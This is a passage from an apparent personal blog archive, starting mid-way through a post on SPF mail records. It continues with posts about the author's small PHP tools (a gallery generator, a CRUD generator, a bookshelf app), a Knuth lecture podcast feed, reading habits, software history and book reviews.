    v=spf1 mx ip4:212.84.154.148 ip4:157.90.24.20 ip4:212.45.32.0/24 ip6:2001:9e0:8606:8f00::1 ip6:2a01:7e01::f03c:91ff:fe02:b21b ip6:2001:9e0:4:32::107 ip6:2001:9e0:4:32::108 ip6:2a01:4f8:1c1c:79a1::1 ~all

    You can see it’s a mix of IPv4 and IPv6. For readability, the next image is what it actually says.

    MX – All mail for this domain should be send TO a specific IPv4 or IPv6 address.

    Next: you can see which IPv4 and IPv6 addresses are allowed to send mail for this domain. So where mail is accepted FROM.

    So if my VPS wants to send a mail to @gmail.com it will relay the mail to my Pi, which will happily accept the mail, and will relay it to my ISP mail server, and my ISP mail server will try to deliver the mail to Google Mail. Google Mail however will CHECK if the IP address for my ISP mail server MATCHES the SPF records. If Google finds that the IP addresses from my ISP mail servers are not in the SPF records, it will not accept the mail. But if they match, Google Mail will accept the mail.

  • Corbin: static responsive image and video gallery generator

    Corbin: static responsive image and video gallery generator

    In classic yak shaving fashion; this weekend I created a static responsive image gallery generator.
    It’s one PHP file that — when run from the command line — generates a clean, fast and responsive (aka mobile friendly) video and image gallery with navigation from a directory of images and videos. The output is one single index.html file.

    The generator itself is a single PHP file (~300 LOC). And running it on a sample folder with images and videos looks like this:

    mintty_2021-11-22_19-33-42.png (904×1311)
    Notice it converts .mov files to .mp4 which are playable in the browser

    The above generates one single index.html, that looks like this on a desktop browser:

    Notice:

    • The evenly spaced grid with a mix of portrait and landscape images also evenly spaced
    • The Fancybox image animations
    • The navigation buttons
    • The slider at the bottom
    • The indication of video files with a SVG play button
    • The autoplay of video files
    • How the user doesn’t leave the gallery page

    In the above example I use both the mouse and keyboard for navigation, both are possible.

    Here you can look at the sample gallery yourself.

    What does it do?

    Here’s what the generator does:

    • Checks for image orientation (landscape vs portrait) issues and fixes those.
    • Generates thumbnails from valid images (png/jpg etc.) with respect to orientation.
    • Converts non-web friendly video formats (3gp/mov) to mp4 with ffpmeg (few other tools do this!).
    • Adds a play button overlay to video files, to make them stand out.
    • Generates one index.html file, that together with your image and thumb folder constitute your gallery: copy it to any webserver and it will run, you don’t even need PHP to the gallery (hence static).
    • Generates a nice looking, evenly spaced, grid with thumbs that point to your images and videos and that looks good on mobile.
    • Uses Fancybox to pop and animate images and videos in a container with navigation.
    • Single PHP file that does everything (~300 LOC), you need FFmpeg to process videos, and it pulls in Fancybox via CDN.

    Why did I make Corbin?

    Because it’s fun, and because I was looking for a way to quickly share a folder of images and videos, with nice previews (i.e. thumbs), that also is viewable on a smartphone — and that is *not* Google Photos. Most solutions can’t do that.

    Other things I wanted:

    • Portable generator: one single PHP file is just that. It will run on any server with PHP 7.x and FFmpeg.
    • Portable output: one self-contained index.html file, one images folder, one thumbs folder. That’s it. There is no database or a bunch of help files (e.g. CSS).
    • Something understandable: most other solutions are more complex or clutter your system with files. This tool does not touch the original image folder, it just creates one thumb dir and one html file (converted videos also get saved in the original image folder).
    • Something malleable. E.g. it’s pretty easy to add the file names to the index.html. Just edit one line of CSS.

    Corbin?

    Yes, because:

    • Anton Corbijn is my favorite photographer
    • Corbin sounds like core bin aka core binary. And this tool does one core thing for me.
    • According to Urban Dictionary a corbin “is a very trust worthy , funny and amazing person”!

    What’s next?

    Corbin does what I need for now. Things that might be added later:

    • Recursive folder gallery generation.
    • Sorting options for images (name, date etc.).
    • Pagination?
    • More templating options?
    • On successive runs don’t convert mp4 videos or regenerate thumbs.
    • More error checking (file types etc.), much more error checking.

    I know there are tons of solutions out there, but this one is mine. And it does exactly what I want.

    Feel free to poke around! I assure you there are bugs.

  • Podcast: Donald Knuth Lectures on Things a Computer Scientist Rarely Talks About

    I recently read ‘Things a Computer Scientist Rarely Talks About’ by Donald Knuth from 2001. Recommended reading if you like reading about how a world-renowned computer scientist wrote a book about how he wrote a book that deals with another book! Sounds recursive 😏

    That last book is of course the bible and the book Knuth wrote about it is ‘3:16 Bible Texts Illuminated ‘ — published in 1991. And in 1999 Knuth gave a series of lectures at MIT ‘on the general subject of relations between faith and science’. In these lectures he explains how he went about writing this book and the thought process involved. So the lectures make for an enjoyable deep dive on creating such a book and how Knuth’s brain works, paired with discussions and insights on religion and things like eternity and finiteness.

    And it is this series of lectures that are bundled together in ‘Things a Computer Scientist Rarely Talks About’ — almost verbatim. But, the lectures have also always been available as audio files (sadly no visuals) on Knuth’s homepage. And I listened to those a few years back, and as I read this book I was reminded that I had created a RSS feed for these files, effectively creating a Knuth podcast!

    This is a later picture of Donald Knuth and not from the 1999 lectures. I added the text, of course in the only possible font.
    (I have no copyright on this picture and couldn’t find out who did actually. Feel free to drop me a line if I can accredit you, or if you want it changed.)

    I mostly created the file for myself to have the convenience of listening to the lectures in a podcast player. But I have also dropped the link to the XML file here and there over the years, and I noticed 607 unique IP addresses hit this link this month alone! There are only six lectures and one panel discussion and never any new content, so I am not sure what these numbers mean, if they mean anything at all.

    But I also remembered I had never blogged about this, until now. So without further ado here is the link:

    https://j11g.com/knuth.xml

    You can add this to your favorite podcast player. I have added the feed to Overcast myself so it looks like this which is nice.

    Having the audiofiles available in a podcast player enables you to track progress, speed up/down parts and have an enhanced audio experience.

    I do remember writing an email (no hyphen) to Knuth’s office and I received a nice reply that they thought it was ‘a great idea’, and they were actually also thinking of starting their own podcast ‘based on these materials’. However I haven’t found any link to this yet, so for now it is just this.

    If you are more into video, here is a great conversation Donald Knuth had with Lex Fridman last year. Published exactly a year ago to this day. The video is not embeddable but you can click the image to go there. Recommended.

    0.jpg (480×360)

  • How I read 52 books in a year

    My book tracking app alerted me that I read 52 books over the last twelve months. So, *franticly crunching numbers* yes, indeed, that averages to one book per week!

    This brings the book average to 226 pages per book.

    I follow a couple of blogs of people that read way more than I do. Like these guys, respectively read 116, 105, 74 and 58 books in 2019. I don’t know how they managed to do so, but 52 is definitely a personal best for me and this blogpost is about how I did this.

    When I say that I have read a book, I mean: I read it cover to cover. No skimming or skipping, or glossing through. That’s not reading. And no audio books. Nothing against that, but my point is to read a book as the author intended it (of course, this is different when you study a subject and need to pick and choose parts).
    Full disclosure, I am currently experimenting reading Moby Dick with the book in hand and the audio book playing along. It’s fun, and a good way to get your teeth into such a classic. But I still need my eyes to follow the words and I don’t think listening to an audiobook while doing other things is the same experience. A book is not a podcast.

    Getting serious

    I’ve always liked reading but if I had to state a regret it would still be that I wish I had read more. There is always a certain anxiety when I enter a library or bookstore. The average human, or even a frantic reader, will never read more than a few thousand books in their lifetime. So I can never read just what my local library has in stock: even if it takes a lifetime. There are just too.many.books. With this in mind, a minute watching TV is a minute wasted reading.

    I realised I find few activities more rewarding than reading. With this realisation in mind I consciously decided that I would take reading more seriously. And of course I still watch a little bit of TV and movies, but just a bit more consciously.

    Here are some principles I developed around reading to keep me on track.

    Principle 1: Track broadly

    For me, this is key. So much so, that last year I wrote my own book tracking app, to exactly fit my needs. In my app I cannot only track what I have read, or am currently reading, but also what I want to read.

    I used to use a spreadsheet, whatever works for you, but I was often getting lost in what I was reading (see Principle 2). So having this app definitely helps.

    Principle 2: Read widely

    This may be the most important principle on multiple levels. It not only means that I want to read many different books or genres but also that I like to read them simultaneously.

    Of course I have favorite genres or subjects, but I try to be open-minded about every book (I wouldn’t snuff Danielle Steele). You never know what you might learn about yourself.

    Levels

    And before I meticulously kept track, this is usually where I got lost. Not every book demands the same energy or attention level and you should be able to switch it up without regret.

    Which I do. So at a certain point last year I was reading 11 different books at once: diaries, biographies, novels, management books, historical books. You name it. Because my app allows me to directly see what I started it’s easy to keep track of this and — most importantly — switch it up when I am not feeling a certain book. Instead of dreading picking up a certain book for months or a half read book getting lost on my bookshelf I just move on to a different book, and know I will eventually get to that book. My app tracks it. And I always do! Some books I haven’t touched in months but I pick em up again after some time when I feel like it, and more often than not it’s usually a better experience. I have now had this experience more than once. And it was quite the revelation. The lesson is: different moods ask for different books.

    So far I only actively stopped reading two books, with no intention of reading any further ever (this is fine!). So this is rare. Most books I start, I have already done a little bit of research, to know enough that I want to read them.

    Another benefit when you switch a lot between books is that I noticed it helps to retain what the books are about. It’s a different experience when you read a book over two months as opposed to two days. Because you have to actively remind yourself of what the book was about again.

    Principle 3: Buy loosely

    The app allows me to add books to my wish list, and as you can see in the screenshot I bought 90 books last year. Mostly from thrift stores, they are absolute goldmines. And yes, I don’t read e-books. I need to feel paper.

    The ‘Books I want‘ list from my app is a guideline for thrift store visits, but mostly I just look all over the place. And I used to be a bit hesitant to buy a book, as it would indicate a future commitment to myself to read it. But since reading Nassim Nicholas Taleb’s Black Swan and his thoughts on famous writer Umberto Eco’s personal library (here and here), I have been able to shake this habit a bit. So if a book looks interesting: buy it!

    Bookmark stickies.

    Tips

    So those are the three main principles. Here are some other tips that help to keep your reading on track.

    • I dislike using a highlighter. It ruins books. Even if it’s just paper that got for 50 cents a thrift store.
    • I have used the classic highlighters and last year I moved to a pencil highlighter, a little bit less permanent but still not great. So since a couple of months I use TRANSPARENT bookmark stickies.
      • They are not permanent.
      • I can still read what I highlighted.
      • I can remove them without tearing the paper.
    • It doesn’t matter what type of book it is, I read every book with a stack of sticky bookmarks and annotate what I like or want to remember. (This would definitely be my number one reason to move to eBooks at some point..).
    • To retain things, I usually read the sticky parts again after finishing or when picking up a book if it has been a while.
    • Read everyday. Even it’s just a couple of minutes. Don’t break the chain. Create a habit.
    • Put your phone on mute. I do most of my reading between 8 and 10 pm. If you text or call me between those hours, I probably won’t see or hear it.
    • Write! After all, what good is reading if you don’t write? I tend to blog about every book I read (few exceptions: i.e. when it’s a really small book). This helps with retention and thinking about what you liked or want to remember. And also you create your own little archive. I often look up my own posts, to see what I was thinking.

    So there you have it! Now, let’s see what’s on TV.

  • Ten pieces of software that removed roadblocks

    Successful software is not defined by the number of lines of code or number of clever algorithms. More often than not, successful software is defined by how many roadblocks it removes for the user.

    Sounds obvious, right? But it usually takes a few iterations before software gains critical mass. And for a (critical) mass number of users, you need to remove roadblocks. Roadblocks that power-users or early adopters don’t mind dealing with, but for regular users make all the difference.

    Here are some examples of software that were not always the first, but did remove the right roadblocks and cleared the road for the masses.

    Netscape (Mosaic)

    Netscape is probably the most classic example of this. You already had the internet and the World Wide Web. And you had Gopher, FTP and SMTP and the likes. But critical mass? You needed something much simpler! Something that didn’t require typing in difficult commands after connecting to some remote server. But a graphical user interface where you could just point and click*. That’s what really brought the masses to the World Wide Web.

    (*You could argue that Windows 95 did exactly the same, eleven years after the Mac did it).

    VLC

    Remember when you had to download specific video codecs for your media player? I do and trust me you don’t want to do that. VLC was like a breath of fresh air because it took care of all that stuff.

    VLC was not the first (or last) desktop video player. But it was the first that bundled all codecs and made sure you could pretty much throw every imaginable video format at it, and it would just play it! It removed that roadblock.

    YouTube

    Remember emailing videos? Sure that might work. But how can you be sure the receiver has the right codec (see above)? Or that the receiving email provider won’t mark the video as spam or too big for email? YouTube completely removed all barriers for uploading, sharing and viewing videos online in one go. Just from the browser and without a subscription. A lot of roadblocks: gone.

    Spotify

    CDs were already a thing of the past. But downloading, paying for and managing individual songs was still a lot of work. Spotify managed to figure this one out, and it turned out this is actually what a lot of people wanted. Every song available, at all times for a fixed fee? Talk about removing roadblocks.

    WhatsApp

    WhatsApp was not the first or only IM/chat software, not even by a long shot. So why did it succeed (in most parts of the world) as the number one smartphone chat app? Because they removed multiple roadblocks.

    Early on WhatsApp put a lot of time and effort in making sure their software worked on any kind of cellphone, and specifically older, less powerful phones. Remember they offered a Java ME version? Because they understood chat is not a one-way street. It only works when everyone involved has the same access. Founder Jan Koum learned this from personal experience when trying to chat with family on the other side of the world on shabby internet connections.

    And he and co-founder Brian Acton even carried around old phones for a long time. For this exact reason.

    Slack

    I never had a need for Slack (I’ve been using IRC for over 20 years), but I can clearly see what they did: they removed roadblocks.

    While still offering pretty much the same core functionality as IRC offers: persistent group chat (emphasis on persistent). But: without the need of choosing servers, or setting up proxies or using intimidating software and all that other difficult stuff. They took care of all that. Oh, and you can share animated gifs.

    iPhone

    The iPhone is an amalgamation of hard- and software. But it probably belongs on this list, for all the same reasons. It was not the first smartphone, but it was the first that did everything right and it didn’t feel second grade (hardware and software wise). Before the iPhone there where many different smartphones in every shape and form, after the iPhone every smartphone looked like the iPhone. That should tell you something.

    Zoom

    I have personally never used Zoom, and from what I learned I probably won’t any time soon. But I can clearly see what’s happening here. All the (dirty) tricks they did with the installer and audio-stack: it is all about removing roadblocks. You can (and should be) critical of these kinds of tricks, but you can’t deny it made them the current go to app for video group chat, leaving Skype and the likes in the dust.

    (I also think they have the best/easiest to remember name. That probably also helps. I could see it becoming a verb.)

    C programming language

    I maybe going out on a limb here, but I think C’s portability is undeniably a large factor in the succes of C (among other things). Because C was highly portable, it removed many roadblocks for the years ahead where many different hardware platforms all needed a higher level language but did not want to reinvent the wheel. C removed that roadblock and subsequently became a dominant language.

    GPL

    Entering dodgy terrain here. Not actual software, but a license. There are *many* licenses out there. But GPL was one of the first that removed many important roadblocks, about how to share and and distribute software that paved the way for a whole lot of other things. And caused an explosion of software in the 80s and 90s (GCC, GNU/Linux et al.)

    Others?

    These are just some examples but I always like to hear others! What software do you think removed a bunch of roadblocks to pave the way for mass adoption?

  • String Theory – David Foster Wallace

    If you read this blog, you know DFW is one of my favorite writers. I even named my book app, in part, after him. So I could be short about String Theory — it’s a absolute pure delight to read — but, of course, I won’t.

    String Theory – David Foster Wallace (2016) – 150 pages

    String Theory is a collection of 5 DFW essays about tennis. It mostly covers 90s era tennis — Sampras and Agassi — but it closes with 2006 Federer. With DFW’s untimely death in 2008 I find it rather pleasing that by attending the 2006 Wimbledon final, Wallace got to witness, and write about the phenomenon that Federer is. And writing this in 2020, it is even more remarkable that Federer is still playing and competing with the best. Think about that for a second will you.

    That said, his piece on Federer is not the best in this collection. But with Wallace that doesn’t mean it’s bad, because for any other writer such an essay would still be the summit of their writing career.

    Though it seems with Federer that Wallace was, understandably, genuinely awestruck and smitten in such a way that he finds it hard to describe what makes Federer so special. And that probably says more about Federer’s remarkable talent than it does about Wallace’s.

    But it is not just that what sets this essay apart from the others for me, but it is that there is less of Wallace himself in this specific piece. His surprised, bemused and bewildered observations of sometimes unrelated random events or encounters, sprinkled trough his essays, either in footnotes or the main body, are what make his writing so enjoyable. You can find this in most essays, but just a little bit less in the Federer one.

    Take his complete letdown by the bland biography of famous tennis player Tracy Austin. I find it hilarious because it bothers him so much. Even though that (hilarity) was not the goal.
    Because, mind you: in the end, even from such a dull an uninspiring sport biography, Wallace manages to ask valid questions about genius and talent and let’s you know the premise was not to be agitated and write amusingly about that, but to ask questions.

    The essay about Michael Joyce might as well be the greatest thing ever written about tennis (or dare I say, sports in general?). It’s a complex and nuanced, highly technical, hyper personal but still general analysis of what constitutes greatness. He makes you see things with different eyes, while he is learning to see it for himself. Just amazing.

    The lack of this personal observations with the Federer essay are a breeding ground for questions. Was this deliberate? Does this mean he was bored with this style? Was it a style? Questions you can endlessly debate.

    Fact is never has their been a greater collection of stories about the game of tennis than what you’ll find in String Theory.

  • Cruddiy: a no-code Bootstrap CRUD generator

    November 2020: Cruddiy now supports creating and deleting table relations (based on foreign keys) for cascading deletes/updates and and prepopulating select lists. Read more here.

    So you have a MySQL database and a user who should be able to do some standard database actions, like Create, Read, Update or Delete database records. Nothing fancy.
    But this is a non-technical user, so you don’t want to give them access to phpMyAdmin, which is too difficult. Or let alone give them command line access. So you need some simple database forms, built on top of your MySQL database, but you don’t want to handcode the same PHP CRUD pages again!

    Now you can use Cruddiy (CRUD Do It Yourself) and quickly generate clean CRUD pages with zero coding.

    You’ve probably seen pages like this a thousand times before. And if you have a MySQL database you can now make them yourself with just a few clicks.

    Pages like these are generated without writing a single line of code. With proper titles, pagination, actions (view/edit/delete) and sorting included.

    Above is the old Bootstrap 3 look. This is the new Bootstrap 4 look:

    20200409-cruddiy-app-index.png (1157×729)
    Cruddiy with Bootstrap 4 and search

    I got tired of programming the same pages over and over again for some simple database forms. So in classic yakshaving fashion I decided to automate this, and built a generator that generates PHP CRUD pages.

    Cruddiy is a no-code PHP generator that will generate PHP Bootstrap CRUD pages for your MySQL tables.

    The output of Cruddiy is an /app folder which includes everything you need. You can rename and move this folder anywhere you want and even delete Cruddiy when you’re done (or run it a couple of times more to get your app just the way you like it). Cruddiy is only used to generate the /app folder. And the /app folder is what your user will use.

    Why Cruddiy, tool xyz does the same thing!

    Most MVC frameworks (e.g. Symfony, Django or Yii2) are of course also able to generate CRUD pages for you. I have used all of these. But usually you end up with at least 80 Megabytes of code (no joke) and with all kinds of dependencies that you need to deploy and maintain for just a couple of PHP pages! This rubs me the wrong way.
    And of course there are many other PHP Crud generators around, but they are not libre or, more often than not, built on top other larger frameworks: so they have the same problem. Or they simply lack something else. So when I couldn’t find anyone that fit my needs I decided to make Cruddiy.

    Cruddiy goals and characteristics

    • Simple
      • No dependencies, just pure PHP.
      • Written in PHP and output in PHP. When the generator runs correctly, your generated app will run correctly.
    • Clean
      • Just generate what’s needed, nothing else.
    • Small
      • If it wasn’t obvious from the above, the app it generates should be small. Kilobytes not megabytes.
    • Portable
      • Cruddiy generates everything in one single /app folder. You can move this folder anywhere. You don’t need Cruddiy after generating what you need.
    • Bootstrap
      • Bootstrap looks clean and is relatively simple and small. I use Bootstrap 3 because I like and know it a bit better than 4.

    FAQ

    Why PHP?

    • Love it or hate it: but PHP is ubiquitous. You can download Cruddiy on most webservers and you’re good to go. wget the zip -> unpack -> check webserver permissions (chmod) -> surf to the unpacked folder in your browser and follow instructions.
    • Cruddiy is of course a sort of templating engine. It stamps out code based on templates. And if PHP is anything, it is in fact by default a template engine itself. So it’s a pretty good language for this kind of thing.
    • Cruddiy only works with MySQL: and MySQL and PHP are of course two peas in a pod.

    Cruddiy does not follow the MVC paradigm!

    Yes, look elsewhere if you need this. This is not a framework. This is a form generator.

    Your code is full of dirty hacks

    Sure, the generator does quite a bit of array mangling and dirty string replacement (hence the name), but the PHP pages Cruddiy generates are as clean as they come. And when you’re done generating pages, you can just delete Cruddiy. It completely builds a self-contained portable app that will run on almost any webserver with PHP (i.e. most).

    Your generated code is incomplete

    At the moment what’s lacking is error value checking on database inserts/updates (all fields are required and it doesn’t check field types: integers vs dates etc.). These will throw general errors or don’t do anything at all. I will probably improve this, but for most use-cases (see above) this should not be a problem. The generated code does use prepared statements and should not be vulnerable to SQLi. But hey, please drop me a line if you find something!

    Next features?

    I might add these things:

    • Darkmode
    • Bootstrap 4 theme ✔️ Fixed per 20200803
    • Export to CSV or XLS (users probably want this more often than not)
    • Rearrange column order
    • Search records (at the top of the page) ✔️ Fixed per 20200722
    • User registration (simple table with username and password: .htaccess works for now)
    • Define table relations (use for cascading deletes etc.) ✔️ Fixed per 20201126
    • More specific field types (ENUM = drop-down list BOOLEAN = checkbox etc.)
    • More and better input validation
    • Catch more database errors
    Cruddiy in action.

  • Infinite Jest – David Foster Wallace

    Today is February 21st, David Foster Wallace‘s birthday. So it’s rather fitting that today I finished reading his magnum opus: Infinite Jest. The notoriously long and difficult book from 1996 with visionary insights on modern life. Infinite Jest is one of the biggest books ever written, and it certainly is the biggest book I have ever read.

    It took me somewhere between 50 and 60 hours over the course of four months and I — had to — read several other books in between to cool off. So, it was quite the experience. I will try to write some of those personal experiences and observations down here. This post will not discuss or try to dissect the work and themes itself. Many, many, many books and articles have already tried to do that.

    No footnotes, I promise.

    Why did I read it?

    I knew about Wallace and his challenging writing style, and he always looked intimidating. But last year I picked up ‘A Supposedly Fun Thing I’ll Never Do Again’ and it was one of the greatest and funniest things I have ever read (specifically the title essay). And while I was reading that book I tracked down a copy of Infinite Jest. I clearly remember my hesitation. It looked terrifyingly dense. Over 1100 pages in the smallest possible font and hardly any line breaks. And this was just the typesetting, let alone the content! But I bought it anyway, with no real plan to actually read it, yet… But in October I watched ‘The End of the Tour’ — which I greatly enjoyed — so I just had to know what this was all about.

    There it was. Fresh.

    Did I enjoy it?

    Infinite Jest is not your typical enjoyable reader-friendly book. It is also definitely not a funny book. And it certainly wasn’t intended to be. There are multiple horrific scenes of rape, incest, mutilation and drug abuse (and their consequences i.e. faceless babies). Overall it has a very serious tone and message and I don’t think I expected that.

    So whether I enjoyed it in the traditional sense is the wrong question, but I am still glad I read it.

    Why am I glad?

    Infinite Jest is unlike anything else I have ever read.

    Not only has Wallace an utterly uniquely distinctive style which is impossible to copy, but above all — this book makes you work! Some books you can read in one sitting, with Infinite Jest I could do 20 pages per hour at most, before I was spent. I could not read this book for hours on end. Because it demands your complete and undivided attention. And this can be exhausting. And at times it felt my life was on hold reading it (would I be able to finish it, where is this going?).

    Nothing in the story is left unexplored and Wallace’s vocabulary is unmatched (there are over 20.000 unique words in Infinite Jest, this is only rivaled by the dictionary I would think…). And on top of that, he makes up his own words to fit a specific mood or sentence. This makes the reading experience draining.

    However, no word seems wasted. Every word seems vital. It is verbose but still perfectly tight prose.

    All these things make it a different, but rewarding, reading experience.

    A book book

    I was also left with the idea that this experience can only exist on paper (or at most maybe an audiobook). There is no other way to convey the meaning — which just happen to be expressed by words — of this book. You cannot retell the story, you cannot film the scenes, you would lose everything. I know there are also translations, but I worry that a translation wouldn’t provide the same experience.

    Wallace demonstrates and justifies with Infinite Jest that writing is an art form of its own and that reading is a different experience from anything else.

    Hey, me too Bill! Just read it.

    All this seems difficult

    On top of all this, it is also mostly a non-lineair story, jumping from the ‘Tennis Academy’ to the ‘Recovery House’ and all over the place. The story seems like loosely connected collection of shards. And you could almost crack it open anywhere and have the same experience as when you start on page one. I think this is deliberate: it makes your brain work. You have to make the connections yourself. Just like there are no explainers or introductions anywhere.

    But I suspect this also aided Wallace’s writing? I sense these fragments, sometimes only separated by a double space, are different writing days (?) because they sometimes differ heavily in tone, ideas and intensity.

    So what’s it all about then?!

    There are many, many different themes and many different ideas in this book. Just as there are a couple of general commonalities. One commonality that stood out specifically for me is that every character in this book is flawed. And trust me, there are many characters. Drug addicts, wheelchair assassins, rapists, dealers, handicapped, deformed, talented athletes who threw their life away, you name it: but every character is flawed.

    Suffering

    This brings me to what I personally derived as one of the main recurring subjects of the book: suffering. Everyone and everything is suffering from something. The human condition, and in particular its flaws, are at the center of what drives the story.

    Wallace himself states that one of the main messages of Infinite Jest is that “pleasure is dangerous“. Specifically: too much pleasure. We are flawed human beings with little to no self-control and a need for pleasure. And this causes problems.

    Maybe that’s why he makes the reader work so hard in what could have been a self-referential book title. Pleasure should always be balanced out by hard work.

    Breaking its back!

    This Wallace guy is quite the character!

    Yes, you are nothing short of a genius when you can write like this. And from his collection of essays I had already concluded, he was a chameleon, able to effortlessly jump between different styles. But I have often wondered how deep he had to go as a writer to write Infinite Jest. Because whoever wrote this must have balanced on the brink of madness and peered over (I had the same experience with Virginia Woolf).

    But this is also what kept me from enjoying the book to its fullest I think. I don’t mind working hard for a book. But when I read Infinite Jest I was 50% of the time immersed in the story and 50% of the time thinking: how did he do this?! How does his brain work? How can someone write this? It really threw me off.

    But either way, in the end, just that may be one of the most rewarding experiences from this book. It’s like you get to spend some time in the mind of a genius, and you may not fully understand the machinery and mechanism but you are certainly in on the outcomes.

    Now what?

    I heard a great quote: “you might just finish the book and see hints of Infinite Jest in everything that is around you“. I think that is true, this book cannot but leave a mark, and make you see the world through a different lens. And I am glad I am in on it now. And yes, Wallace in 1996 was able to foresee and extrapolate developments with regards to humans and their relation to pleasure (whether this is technology or drugs) that raise questions that are alarmingly relevant today.

    At times I thought: when I am finished I am never reading this again! But at other times I thought: this is exceptional I should reread this every so often. (Somewhere in the first few hundreds pages is a story of an addict waiting for a hit. It is quite something). I also made hundreds of yellow marks I want to revisit for various reasons and I want to read more by Wallace. Also there are many Infinite Jest resources I want to read to see what I might have missed (I suspect quite a bit). However, there are also many more books I also want to read of course.

    Yeah? Well, you know, that’s just like uh, your opinion, man.

    Should *I* read it?

    Yes. However, I can’t promise you will enjoy it. And it is an expensive investment of your time (then again, finishing a great video game costs the same amount of time). But the experience of Infinite Jest will be rewarding because it will be unlike anything you have ever read.

    Lock the door, turn off your phone and enter the mind of David Foster Wallace.

    https://twitter.com/loginn/status/1224780789608435713

  • Humankind: A Hopeful History (De Meeste Mensen Deugen) – Rutger Bregman

    I don’t know what the English title translation for Rutger Bregman’s latest book will be. But I do know two things. One: there will be one. And two: it will be a bestseller. I do know now, and yes it will be a bestseller:

    De Meeste Mensen Deugen – Rutger Bregman (2019) – 528 pages

    The title will be something along the lines of: Most People Are Decent. Which is a terrible translation by me and I hope they come up with something better, but it is the general premise of the book.

    Bregman hails from the school of Malcolm Gladwell (who he mentions many times). He is a great storyteller, very easy to read and he is able to create a riveting narrative — from different anecdotes and studies — around a compelling sociological thesis. Overall this book sends a message of hope, which is greatly needed. So I can definitely see this book becoming an international bestseller.

    To my surprise I was already familiar with most of the ideas, because I am a loyal listener of Bregman’s podcast. His writing style is very similar to his speaking style (which is not always a good thing, but in this case it is). And having listened to him for more than 30 hours, I think I read this book in his voice.

    Gripes

    However, even though I can agree on many things (like ‘following the news is bad for you’), there are still a few gripes I have with the book. (Not included the paradoxical reality that I probably disagree with the general premise but completely wholeheartedly agree with the conclusion of the book.)

    Dissecting studies

    Bregman is not a scientist, he is an investigative historical journalist, and a really good one. He has a keen nose for pointing out flaws in scientific studies and plotting them against historical backgrounds. And the conclusions he draws from those are seemingly valid. And he makes a good case for most of them, but here is the thing:

    Pointing out something is wrong doesn’t directly make the opposite true.

    And even though the opposite might very well be true, that is not how science works.

    Sometimes such a conclusion makes perfect sense (i.e. I will not argue the correctness of the Stanford Prison Experiment), but in other places I think Bregman lets the narrative prevail the validity of the argument. Which — again — might still be true, but is not necessarily backed up by evidence (this mostly being the case with the Steven Pinker study, I think).

    And sometimes the proof or argument is more anecdotal and the sample sizes too small to take for granted. But I also think Bregman is well aware of this. Because this is exactly what he does himself — pointing out flaws. Also he is well aware that history is in the eye of one who tells it and that today’s earth-shattering scientific study can be tomorrows scrap paper. Just something to keep in mind.

    Factual fallacies

    There is one in particular I can’t not point out, because it is one of those persistent false claims that are constantly being regurgitated. And because in this case it is about my hometown, I feel I need to address this one.

    In a throwaway sentence on page 432 Bregman argues that my hometown — Urk — consistently has the most PVV (a far-right party) voters. Sure, it helps the narrative, but I would argue this is false. Have a look at the last 10 (!) elections. There is only one election where Urk voted definitely higher — and one time marginally higher — but in all other elections Urk voted structurally lower for the PVV in comparison with the national vote.


    I would not call this consistently higher (sources: Google and Wikipedia)

    This is not meant to point out that the book or the premise is wrong. This is just one small example of keeping your eyes and ears open and to always keep thinking for yourself.

    Gladwell

    I think I have read everything by Gladwell, except his latest. And I think Bregman is also a fan. And he will probably be called the Dutch Gladwell when this book becomes that international bestseller. An unimaginative title (though arguably better than ‘that Davos guy’), but more importantly maybe also a wrong one.

    Because Gladwell is under a lot of fire lately, mostly because he tends to oversimplify in an effort to push his conclusions. And I think Bregman does steer clear of this. He is much more careful in drawing conclusions, and doesn’t shy away from casting doubts on his conclusions. Which makes the reader part of the process. But he does call for a grandiose idea (A New Realism) which is another thing where Gladwell usually misses the target. But in Bregman’s case this grandiose idea follows naturally and is commendable.

    Overall

    Having stated some gripes, know that I am not a miser (just a stickler for facts), and I can safely say this is a wonderful book!

    Bregman is not an optimist, nor a pessimist but a possibilist (yes, I borrowed that from the book). And I like that a lot! And I don’t know if Bregman knows this, but his ten rules from the last chapter share a great resemblance to Covey’s seven principles. Which I also greatly endorse.

    And while this is not a scientific book, it is a book about hope, ideas and presenting a different perspective. And like I have stated many times before on my blog: getting a different perspective is always a good thing. So I would definitely recommend reading this book.

    Side note 1: the effect of a cover sticker (to me) has probably the opposite of the intended effect. Because the TV program (where the sticker is from) needs the writer as much as the writer needs the TV program. And when I read on page 28 that Bregman himself calls a different book ‘magistraal’: it makes it even more lazy or at least ironic. So to me such a sticker is a warning: always make up your own mind.

    Side note 2: from all the books I read this year, this was probably my favorite physical copy. Though not a hardcover, it was just the right size, the cover design is gorgeous and the font and typesetting are absolutely perfect! Of course, it also helps that Bregman is a great writer, but the overall design also make this book a pure delight to hold and read. I wish all my books were like this.

  • Foster: how to build your own bookshelf management web application


    foster
    /ˈfɒstə/

    verb

    1. Encourage the development of (something, especially something desirable). “the teacher’s task is to foster learning”

    TLDR: I made a personal bookshelf management web application and named it Foster and you can find it here. Here’s what I did — with gifs–, so you might build your own.

    Name

    I named it Foster. Because of *this* blog post — it accompanies the application, so it’s self-referential. And also, because I am currently reading David Foster Wallace‘s magnum opus Infinite Jest. And lastly, the word ‘foster’ makes a lot of sense otherwise, just read on 😉

    Background

    I like to read and I like to buy physical books — and keep them. Over the years I tracked both of these things in a spreadsheet. But this became unmanageable so I needed something else.

    Something like Goodreads but self-hosted. So, preferably a web application where I could:

    • track my reading progress
    • keep track of my bookshelf

    But I couldn’t find anything that fit, so I knew I probably had to roll my own. In simpler times MS Access could do this sort of thing in a heartbeat. But it’s 2019 and I wanted a web application. However I am not a web developer and certainly not a frontend developer.

    But when I came across https://books.hansdezwart.nl/ I knew this was what I was looking for! So I emailed Hans. He was very kind in explaining his application was self-coded and not open-source, but he did provide some pointers. Thanks Hans! So with those tips I built my own application (front and back) from scratch. And I decided to pass the knowledge on, with this blog.

    The Foster fronted (I am still adding books)

    This is what the Foster frontend looks like. It’s pretty self-explanatory: I can search *my* books, track and see reading progress, track collections, click through to book details and see the activity feed (more on that later). Oh, and it’s fast! ♥

    Frontend

    The five different parts in the frontend are: ‘Search’, ‘Statistics’, ‘Currently reading’, ‘Collections’ and ‘Activity feed’. They are presented as Bootstrap cards. The frontend is just one index.php file with a layout of the cards. All cards (except ‘Search’) are dynamically filled with content expressed as a div class. The class content is generated by one JavaScript function per card, which in turn call a PHP file. And the PHP files just echo raw HTML.

